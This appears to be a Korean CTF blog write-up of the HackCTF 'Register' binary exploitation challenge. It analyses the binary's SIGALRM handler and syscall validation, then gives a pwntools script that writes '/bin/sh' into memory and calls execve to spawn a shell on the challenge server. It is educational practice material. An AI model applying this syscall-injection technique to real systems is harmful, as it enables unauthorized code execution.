[HackCTF] Register
System/PWNABLE

[HackCTF] Register

check

  • Partial RELRO >> GOT overwrite 가능
  • Canray
  • NX
  • 64 bit

Analyze

main()함수

alaram함수를 호출하고 build()함수를 호출한다.

unsigned int alarm (unsigned int secs);

seconds 초 후에 프로세스에 SIGALARM(14)을 전달한다. SIGALARM의 기본행동은 프로세스 종료이다.

build()함수

#(build)13

void (*signal(int signum, void (*handler)(int)))(int);

시그널 처리 함수로, 특정 시그널(signum)이 발생했을 때, 어떻게 처리를 할 것인지 시그널 핸들러를 직접 지정해주는 함

  • sigum: 각 시그널별로 지정된 숫자(순번)
  • handler: 시그널을 어떻게 처리할 것인지
  • 리턴값: 설정한 시그널 핸들

signum

  • signal(14, handler)

= signal( SIGALARM, exec_syscall_obj(&obj));

= SIGALARM시그널이 발생하면, exec_syscall_obj()를 실행하도록 한다.

#handler > exec_syscall_obj

exec_syscall_obj(&obj) 함수는 인자로 전달받은 obj배열의 값들을 차례로 rax, rdi, rsi, rdx, rcx, r8, r9 레지스터에 저장하고 syscall을 하는 함수이다.

#(build)3~9

rbp-0x40

rbp-0x38

rbp-0x30

rbp-0x28

rbp-0x20

rbp-0x18

rbp-0x10

v0

v1 = v0[1]

v2 = v0[2]

v3 = v0[3]

v4 = v0[4]

v5 = v0[5]

v6 = v0[6]

v0의 배열값들(v0~v6)을 16~27번째 코드에서 아래의 작업을 해준다.

#(build)16~27

  • get_obj(&v0): get_obj의 인자로 배열의 시작 주소 v0를 넘겨준다.
  • obj = v0: get_obj(&v0)를 마친 후, bss영역의 전역변수 obj에 v0의 값을 저장한다.

bss 영역에서 obj 변수 + 0x8의 위치에 get_obj(&v0)를 통해 입력받은 v1~v6에 해당하는 값들이 전역변수 배열에 된다는 점을 알 수 있다.

다시 exec_syscall_obj(&obj)로 돌아와서 해석해보면 obj = v0으로 보고, 쭉 입력받는 레지스터값들을 v1~v6로 다시 전역변수 배열에 저장하므로

rbp-0x40

rbp-0x38

rbp-0x30

rbp-0x28

rbp-0x20

rbp-0x18

rbp-0x10

v0

v1 = v0[1]

v2 = v0[2]

v3 = v0[3]

v4 = v0[4]

v5 = v0[5]

v6 = v0[6]

obj

qword_6010A8

qword_6010B0

qword_6010B8

qword_6010C0

qword_6010C8

qword_6010D0

이렇게 값들이 배치된다.

get_obj(v0)함수

build()함수에서 get_obj(v0)를 호출하여 v0부터 v6까지의 값을 get_ll()함수를 호출해 입력받는다.

get_ll()함수

get_ll()함수에서는 get_inp(&nptr, 32)를 호출한 후, nptr의 값을 atol 처리해 long 형태의 값을 리턴한다.

(참고)

get_ll()함수의 어셈블리 코드

register 바이너리는 canary(SSP 보호기법)가 적용되어 있기 때문에 stack buffer overflow를 유도하는 함수 내에 stack_chk_fail함수를 호출해 방지한다.

 

get_inp(&nptr, 32)

get_inp(&nptr, 32)로 두고 분석해보자!

  • v3 = read(0, nptr, 32): nptr에 32byte만큼 값을 입력받고, nptr에 입력한 바이트의 수를 v3에 저장한다.
  • if( v3 == -1 ): 아무런 값도 입력하지 않았을 때, 입력오류가 발생한 경우 read함수에서 -1을 리턴한다.
  • return (unsigned int) (v3 -1): (v3 -1)을 unsigned로 type conversion을 하고 리턴한다.

validate_syscall_obj(v0)

0 또는 1을 리턴하는 함수로, v0의 값에 대한 조건에 따라 0 또는 1이 출력되도록 한다. 여기서 0을 리턴한다면 build함수에서 do-while문을 끝내고 raise(14)를 호출할 것이다.

 

if((a1 >2 && a1 != 60)|| a1 < 0) return 1;

// a1이 음수거나 2보다 큰 정수들 중 60이 아닌 모든 정수들인 경우 return 1

else return 0;

// a1이 0, 1, 2, 60 인 경우 return 0

#(build)28

do-while문에서 벗어나면 raise(14)를 호출하게 된다.

int raise(int sig);

신호 sig를 현재 실행중인 프로그램에 보낸다.

>> raise(14): 현재 프로그램에 SIGALARM 신호를 보낸다. 이 때 while문 이전에 SIGALARM에 대한 처리를 handler함수로 변경해줬기 때문에 SIGALARM을 보내고 5초 후에 handler 함수를 실행한다.

실행

실행화면

이런 식으로 반복하여 RAX, RDI, RSI, RDX, RCX, R8, R9의 값을 입력받는다.

프로그램의 흐름을 정리해보면, main() > alarm(5) > build() > SIGALARM 시그널 발생 시, handler 함수 실행하도록 함 > do-while문 (값들을 입력받음 > 입력받은 값들을 전역변수 obj 배열에 저장) > do-while문 break: SIGALARM 발생 > handler 함수 실행 > obj 배열을 각 레지스터값들에 저장, syscall 호출 > 다시 build 함수의 while 문(> do-while문)

Exploit

payload 작성

  • "/bin/sh" 문자열 쓰기

라이브러리 파일에 "/bin/sh"문자열이 있긴하지만 libc_leak을 하는 것이 번거로우니까.. bss영역에 하나 더 쓰기로 한다! >> bss영역은 현재 사용중이기 때문에 .data 영역을 사용한다.

0x601068 = 6295656

read system call id

rax를 0으로 주면 system call table에 따르면 sys_read가 실행되므로 rax=0, rdi=0, rsi=data영역, rdx=10을 준다!

rax는 0일때 validate_syscall_obj 조건을 통과하기때문에 rasie(14)를 실행할 수 있다. 따라서, SIGALARM 시그널이 보내지면서 handler함수를 실행하고, handler함수내의 syscall이 발생한다.

  • execve()함수 호출

execve 함수의 syscall id인 59를 rax에 넣어 execve 함수를 실행시킨다. 이 때 rax=59, rdi=data("/bin/sh"문자열의 위치)

execve system call id

이 때 rax가 59이므로, validate_syscall_obj의 조건을 통과하지 못하지만 main함수에서 알 수 있듯이, 5초가 지나면 SIGALARM이 호출된다.

 

from pwn import *

p = remote("ctf.j0n9hyun.xyz", 3026)
elf = ELF("./register")
libc = elf.libc

# rax, rdi, rsi, rdx, rcx, r8, r9
execve_id = 59
data = 0x601068


def register(rax, rdi, rsi, rdx, rcx, r8, r9):
	p.sendlineafter("RAX: ", str(rax))
	p.sendlineafter("RDI: ", str(rdi))
	p.sendlineafter("RSI: ", str(rsi))
	p.sendlineafter("RDX: ", str(rdx))
	p.sendlineafter("RCX: ", str(rcx))
	p.sendlineafter("R8: ", str(r8))
	p.sendlineafter("R9: ", str(r9))


#read(0, data, 10)
register(0, 0, data, 10, 0, 0, 0)
p.send("/bin/sh\x00")

#execve
register(execve_id, data, 0,0,0,0,0)
sleep(5)

p.interactive()

 

[팁!]

system call table

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

SMALL

'System > PWNABLE' 카테고리의 다른 글

[pwnable.kr / Toddler's Bottle] fd  (0) 2022.11.17
[pwnable.xyz] add  (0) 2021.05.12
[ROP Emporium] write4 (재)  (0) 2021.04.17
[HackCTF] Unexploitable_1  (0) 2021.04.17
[ROP Emporium] callme  (0) 2021.04.02